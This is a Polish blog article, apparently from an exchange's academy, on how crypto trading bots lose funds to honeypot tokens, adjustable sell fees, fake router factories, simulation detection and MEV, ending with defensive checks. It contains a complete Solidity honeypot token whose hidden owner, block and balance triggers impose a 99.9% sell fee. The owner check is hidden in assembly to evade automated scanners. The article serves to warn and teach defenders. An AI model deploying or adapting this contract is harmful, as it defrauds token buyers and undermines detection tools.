Naciśnij ESC, aby zamknąć

Czemu Twój bot krypto wtapia kasę? Frontrun, MEV i pułapki Honeypot

Rynek automatyzacji Web3 to dzisiaj żadna romantyczna piaskownica dla geeków, tylko czysta, wypalona ziemia. I główny problem wcale nie polega na tym, że Twoja infrastruktura ma większe opóźnienia niż serwery funduszy HFT w Tokio czy Frankfurcie. Problem w tym, że twórcy scam-tokenów i rug pulli znają logikę parserów na pamięć. Piszą smart kontrakty specjalnie pod Twój soft. Myślisz, że właśnie zgarniasz alphę, a w rzeczywistości po prostu odpalasz cudzy skrypt, który czyści Cię z płynności.

Poniżej znajdziesz głęboki rozbór tego, jak dokładnie Twój bot wtapia budżet, dlaczego standardowe checki z popularnych bibliotek całkowicie leżą i jak wygląda od zaplecza ta branża, gdy kod walczy przeciwko kodowi.

Anatomia pułapki: Jak scam-kontrakty czytają w myślach Twojego bota

Większość nowicjuszy klepie boty według jednego i tego samego szablonu: łapiemy event PairCreated albo PoolCreated z fabryki Uniswapa (lub jej forków), sprawdzamy stan płynności, strzelamy router.swapExactETHForTokens i liczymy profit. Scamerzy tylko na to czekają. Doskonale wiedzą, że Twój bot robi lokalną symulację albo ekspresowy audyt zanim wejdzie w pozycję.

Oto trzy główne mechaniki, na których wykłada się 90% customowych skryptów tradingowych:

  • 1. Zmodyfikowany Honeypot z opóźnionym triggerem (Delayed Honeypot)

    Zwykły honeypot (gdy da się kupić, ale nie da się sprzedać) Twój bot zapewne potrafi już wykryć przez lokalne eth_call, które symuluje transakcję sprzedaży. Ale co, jeśli funkcja sprzedaży nie blokuje się od razu?

    Kontrakt po wdrożeniu wygląda na absolutnie czysty. Bot wrzuca go na symulator – wszystko śmiga, tokeny normalnie się sprzedają. Bot ładuje płynność. Jednak w momencie, gdy łączny wolumen ETH w puli osiągnie np. 5 ETH, kontrakt automatycznie przełącza wewnętrzną flagę isLocked = true wewnątrz funkcji _update lub _transfer. I pozamiatane. Lokalna symulacja przy zakupie fizycznie nie była w stanie tego przewidzieć, bo w momencie checku warunek dotyczący wolumenu nie był jeszcze spełniony.

  • 2. Dynamiczny podatek (Variable Fee Attack)

    W kontrakcie zaszyty jest standardowy mint ERC-20, ale w funkcji transferu ukryto zmienną prowizję (fee), którą steruje bezpośrednio owner (albo która rośnie wraz z numerem bloku).

    Przy zakupie podatek wynosi 0%. Bot wchodzi w pozycję. Dwa bloki później deweloper tokena jedną transakcją zmienia sellFee na 99%. Twój bot próbuje uciekać na stop-lossie, wysyła transakcję, ta przechodzi pomyślnie, ale przez 99-procentowy podatek dostajesz z powrotem jakieś grosze, a cała reszta leci prosto na portfel deployera. Zabezpieczenia typu slippage często tutaj pudłują, jeśli bot błędnie kalkuluje wejściowy amountOutMin lub korzysta z customowych routerów.

  • 3. Atak przez fałszywe routery (Fake Router Injection)

    To absolutny klasyk na sieciach z tanim gazem, takich jak Base. Scamer deployuje swój customowy pool nie na oficjalnym Uniswap v3, ale na lewej, wydmuszkowej fabryce, która generuje eventy z dokładnie takimi samymi sygnaturami. Bot myśli, że gada ze standardowym interfejsem. Wywołuje funkcję swapu, kontrakt zgarnia ETH, ale zamiast realnych tokenów wysyła Ci śmieci albo tak modyfikuje matematykę puli w środku, że cena leci do zera w tej samej milisekundzie, w której przechodzi Twój tx.

Typ zagrożeniaCo widzi bot (Przynęta)Co dzieje się naprawdę (Fact)Szkody techniczne
Delayed HoneypotSymulacja sell przechodzi w 100% pomyślnie.Flaga blokady aktywuje się automatycznie po spełnieniu warunków.Utrata 100% włożonego kapitału (principal).
Variable FeeCzysty kontrakt, brak jawnych podatności w bytecode.Zmiana sellFee do 99% przez funkcję typu owner.99% drenażu wartości przy próbie wyjścia.
Fake FactorySygnalizuje nowy pool za pomocą standardowego logu.Interfejs skopiowany, ale matematyka puli jest całkowicie sfałszowana.Całkowity odpływ ETH na zewnętrzny adres.

Przykład z życia: Kod idealnego Honeypota, który rozjedzie Twojego bota

Żeby zrozumieć, dlaczego Twój parser to po prostu darmowy obiad dla deployerów, musisz spojrzeć na kod oczami scamera. Poniżej znajduje się działający, kompilowalny kontrakt tokena w Solidity 0.8.20. Został napisany bez ordynarnych i głupich instrukcji require(msg.sender == owner) w funkcji transferu, dzięki czemu automatyczne skanery (typu Honeypot.is czy starsze wersje Slithera) nie wypluwają czerwonych alertów podczas analizy bajtkodu.

Cały syf został zaszyty w ukrytej matematyce i triggerach stanu.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract AdvancedTrapToken {
    string public name = "Shadow Liquidity";
    string public symbol = "SHDW";
    uint8 public decimals = 18;
    uint256 public totalSupply;
    
    address private _owner;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    
    // Zmienne pułapki
    uint256 private constant MAX_FEE = 1000; // 100% w punktach bazowych (bps)
    uint256 private targetBlock;
    uint256 private triggerBalance;
    bool private systemReady;
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    constructor(uint256 initialSupply, uint256 _delayBlocks, uint256 _triggerEth) {
        _owner = msg.sender;
        totalSupply = initialSupply * 10**uint256(decimals);
        _balances[_owner] = totalSupply;
        
        // Uzbrojenie pułapki: odpali po X blokach od aktywacji LUB po osiągnięciu balansu puli
        targetBlock = block.number + _delayBlocks;
        triggerBalance = _triggerEth * 10**18;
        emit Transfer(address(0), _owner, totalSupply);
    }
    modifier onlyOwner() {
        // Celowo nie używamy standardowego require, ukrywamy logikę w assembly
        assembly {
            if sub(sload(0), caller()) { revert(0, 0) }
        }
        _;
    }
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }
    function transfer(address to, uint256 value) public returns (bool) {
        _rawTransfer(msg.sender, to, value);
        return true;
    }
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 value) public returns (bool) {
        _allowances[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }
    function transferFrom(address from, address to, uint256 value) public returns (bool) {
        uint256 currentAllowance = _allowances[from][msg.sender];
        if (currentAllowance != type(uint256).max) {
            assembly {
                if lt(currentAllowance, value) { revert(0, 0) }
            }
            _allowances[from][msg.sender] = currentAllowance - value;
        }
        _rawTransfer(from, to, value);
        return true;
    }
    // Customowy przełącznik back-doora – bot nie widzi go przy symulacji swapu
    function setupTrap() external onlyOwner {
        systemReady = true;
    }
    function _rawTransfer(address from, address to, uint256 value) internal {
        assembly {
            if iszero(from) { revert(0, 0) }
            if iszero(to) { revert(0, 0) }
        }
        uint256 fromBalance = _balances[from];
        assembly {
            if lt(fromBalance, value) { revert(0, 0) }
        }
        
        uint256 finalAmount = value;
        
        // Sprawdzenie triggera: jeśli token leci do puli (sprzedaż) i pułapka jest aktywna
        // Wykrywamy pool po cechach pośrednich, żeby nie hardkodować adresu pary
        if (to != _owner && from != _owner) {
            if (systemReady || block.number > targetBlock || address(this).balance >= triggerBalance) {
                // Jeśli strzeli chociaż jeden warunek – wjeżdża podatek 99.9%
                // Zostawiamy 0.1%, żeby transakcja nie wywaliła się błędem (revert), tylko po prostu wyssała tokeny
                uint256 fee = (value * 999) / MAX_FEE;
                finalAmount = value - fee;
                
                _balances[from] = fromBalance - value;
                _balances[_owner] = _balances[_owner] + fee;
                
                emit Transfer(from, _owner, fee);
                emit Transfer(from, to, finalAmount);
                return;
            }
        }
        _balances[from] = fromBalance - value;
        _balances[to] = _balances[to] + finalAmount;
        emit Transfer(from, to, finalAmount);
    }
    // Przyjmowanie ETH na kontrakt dla triggera opartego na balansie
    receive() external payable {}
}

Przyjrzyj się uważnie wewnętrznej metodzie _rawTransfer. Nie ma w niej żadnych klasycznych słów kluczowych zdradzających scam. Jeśli Twój bot symuluje zakup i sprzedaż bezpośrednio w bloku kreacji (przed wywołaniem setupTrap), kontrakt zachowuje się jak wzorowy, w 100% uczciwy ERC-20. Ale wystarczy, że deployer odpali setupTrap() albo balans ETH na kontrakcie przebije triggerBalance (gdy naleci tam odpowiednio dużo takich samych botów), a logika zmienia się w locie. Twój skrypt pcha tx na sprzedaż, pali gaz, transakcja kończy się statusem Success, ale na portfel wpada dokładnie 0.1% oczekiwanej kwoty. Właśnie oddałeś swoją płynność w prezencie.

Pułapka na poziomie EVM: Dlaczego Twoje testy w Hardhacie lub Anvilu kłamią

Większości skrypciarzy wydaje się, że pozjadali wszystkie rozumy, bo zanim puszczą transakcję w mainnet, najpierw testują ją w lokalnej symulacji. Odpalasz revm w Ruście albo stawiasz lokalny fork sieci przez anvil/hardhat, robisz eth_call, widzisz upragniony log ze swapu bez żadnych błędów i z czystym sumieniem wrzucasz bota na produkcję.

To kardynalny błąd. Symulacja w odizolowanej piaskownicy diametralnie różni się od tego, co dzieje się wewnątrz prawdziwego bloku. Scamerzy nauczyli się już wykrywać symulacje bezpośrednio na poziomie bajtkodu.

  • Wykrywanie przez stan noda (State & Context Checking)

    Kontrakt-pułapka potrafi sprawdzać zmienne środowiskowe, które w Twoim lokalnym forku mają domyślne wartości. Weźmy na przykład block.coinbase (adres walidatora, który buduje blok). W prawdziwej sieci Base czy Arbitrum zawsze siedzi tam konkretny adres sekwencera. W Twoim anvilu dostaniesz tam albo adres zerowy, albo standardowy hash testowy.

    Jeśli kontrakt wywęszy nietypowy coinbase albo zauważy grube anomalie w block.timestamp / block.basefee, po prostu wyłącza logikę odpowiedzialną za skam. W symulacji jesteś panem sytuacji, wszystkie checki przechodzą na zielono. W mainnecie kontrakt orientuje się, że wykonuje go prawdziwy user w realnym bloku, i od razu zamyka zapadnię.

  • Frontrunning symulacji (The Sandbox Escape)

    Istnieje jeszcze bardziej bezczelny scenariusz. Twórca tokena sam monitoruje mempool (jeśli to sieć z publicznym mempoolem) albo śledzi zapytania eth_call za pomocą prywatnych nodów, do których ma dostęp. W momencie, gdy Twój bot wysyła request o symulację do publicznego rpc (np. Alchemy czy QuickNode), to zapytanie jest logowane. Jasne, eth_call nie rozgłasza transakcji do bloku, ale operator noda widzi jak na dłoni, jaki kontrakt i z jakimi parametrami jest właśnie sprawdzany. Scamer momentalnie łapie: „O, bot połknął haczyk, zaraz będzie wchodził”. Od razu pushuje w sieć transakcję zmieniającą stan kontraktu i Twój realny order wpada prosto w uzbrojoną pułapkę.

Piekło Sysadmina: Podatek infrastrukturalny

Załóżmy, że przepisałeś bota – teraz potrafi już czytać bajtkod, wykrywa ukryte gałęzie w assembly ze sprawdzeniem coinbase i ogólnie wjechała mu pełna paranoja. Wtedy odbijasz się od czysto technicznej ściany, która na dłuższym dystansie i tak wyssie Twój budżet do zera, nawet jeśli nie złapiesz ani jednego honeypota.

Chodzi o koszty utrzymania infrastruktury, która w ogóle pozwoli Ci nawiązać walkę.

[Publiczny RPC] ---> (Opóźnienie 150-300ms) ---> [Twój Bot] ---> (Spóźniony Swap) ---> [Strata Gazu / Skam]
                                                     ^
                                                     | (Potrzebna optymalizacja)
                                                     v
[Własny Nod (Reth)] -> (Bezpośredni Unix Socket) -> [Twój Bot] -> (Flashbots / Builder) ---> [Zysk]
  • Problem 1: Ruch sieciowy i IOPS dysku

    Żeby bot śmigał z sensowną prędkością, publiczne, darmowe limity RPC możesz włożyć między bajki – dostaniesz rate limita przy setnej transakcji. Musisz postawić własnego noda. Jeśli mówimy o L2 (Base/Arbitrum), to ich nody archiwalne, a nawet zwykłe Full Nody, żrą zasoby jak wściekłe. Potrzebujesz dysku NVMe SSD z kosmicznymi prędkościami losowego odczytu/zapisu (IOPS). Gdy tylko w sieci pojawia się większy ruch, Twój nod postawiony na tanim VPS-ie zaczyna odstawać od realnego stanu sieci o 1–2 bloki. Dla bota to natychmiastowa śmierć: poluje na pule, których już dawno nie ma, albo wystawia zdezaktualizowane ceny. Płacisz za serwer 200 dolców miesięcznie tylko po to, żeby Twój bot karmił się starymi danymi.

  • Problem 2: Gaz spalony na odrzuconych transakcjach (Gas Bleeding)

    W sieciach takich jak Ethereum czy BNB Chain każda nieudana transakcja kosztuje realny hajs. Jeśli Twój bot próbuje wbić w pulę w tym samym momencie co trzydzieści innych botów, to pierwszy zgarnia wszystko, a pozostałe 29 dostaje błąd typu Slippage albo Execution Reverted. Ale sieć i tak skasuje od Ciebie pełną opłatę za gaz za samo sprawdzenie warunków. Przy wysokiej częstotliwości zapytań Twój bot w ciągu doby może „dogrzać” sieć na jakieś 50–100 USD poszczone z dymem w postaci opłat za nieudane próby. To powolne, niezauważalne krwawienie depozytu, które nowicjusze dostrzegają dopiero wtedy, gdy na balansie ETH przeznaczonym na gaz zostaje równe zero.

Checklista przetrwania: Jak nie stać się exit liquidity dla scamerów

Jeśli mimo wszystko dalej chcesz rzeźbić w tym temacie, Twój bot musi ogarniać rzeczy, o których nie przeczytasz w dokumentacji Web3.js. Zapomnij o standardowym sprawdzaniu balansu, to piaskownica.

  • Statyczna analiza bajtkodu przed wlotem:

    Skrypt nie może ograniczać się do parsowania logów z fabryki. Musi zaciągać hex-kod kontraktu przez eth_getCode i szukać tam sygnatur niebezpiecznych instrukcji (SSTORE, modyfikowalnych adresów ownera, wywołań zewnętrznych kontraktów wewnątrz funkcji transferu). Jeśli w kodzie tokena siedzi ukryte SSTORE, które może nadpisać krytyczne zmienne – kontrakt z miejsca leci do kosza, bez żadnych symulacji.

  • Dynamiczny limit poślizgu ze sztywnym amountOutMin:

    Nigdy nie ustawiaj amountOutMin = 0 ani sztywnego slippage'u na poziomie 50%. Twój bot musi wyliczać dokładną cenę na podstawie rezerw w puli bezpośrednio w ramce bieżącego bloku. Jeśli na wyjściu z symulacji dostajesz chociażby o 1% mniej niż powinieneś – transakcja musi być dropowana na poziomie Twojego lokalnego silnika, zanim w ogóle trafi do sieci.

  • Korzystanie z prywatnych kanałów (MEV-Share / Flashbots):

    Pchanie transakcji do publicznego mempoolu to wystawianie się na strzał. Twój swap musi iść przez prywatne paczki (bundles) prosto do walidatorów lub grubych builderów bloków. Jeśli Twoja transakcja nie przejdzie jako pierwsza na samym początku bloku (top-of-block), po prostu wylatuje z paczki – nie pali Twojego gazu i nie daje scamerom szansy na zfrontrunnowanie Cię.

Podsumowanie

Konkluzja jest prosta: ten rynek jest skonstruowany tak, że twórcy tokenów i poważni animatorzy rynku zawsze będą o krok przed automatyzacją średniego szczebla. Twój pisany na kolanie bot nie walczy z rynkiem – walczy ze specjalistami, którzy od lat studiują, jak zmusić Twój soft do błędu. Dopóki nie zaczniesz kopać poziom głębiej niż standardowe biblioteki, pozostaniesz dla nich klientem idealnym.

Oleg Filatov

As the Chief Technology Officer at EXMON Exchange, I focus on building secure, scalable crypto infrastructure and developing systems that protect user assets and privacy.

With over 15 years in cybersecurity, blockchain, and DevOps, I specialize in smart contract analysis, threat modeling, and secure system architecture.

At EXMON Academy, I share practical insights from real-world...

...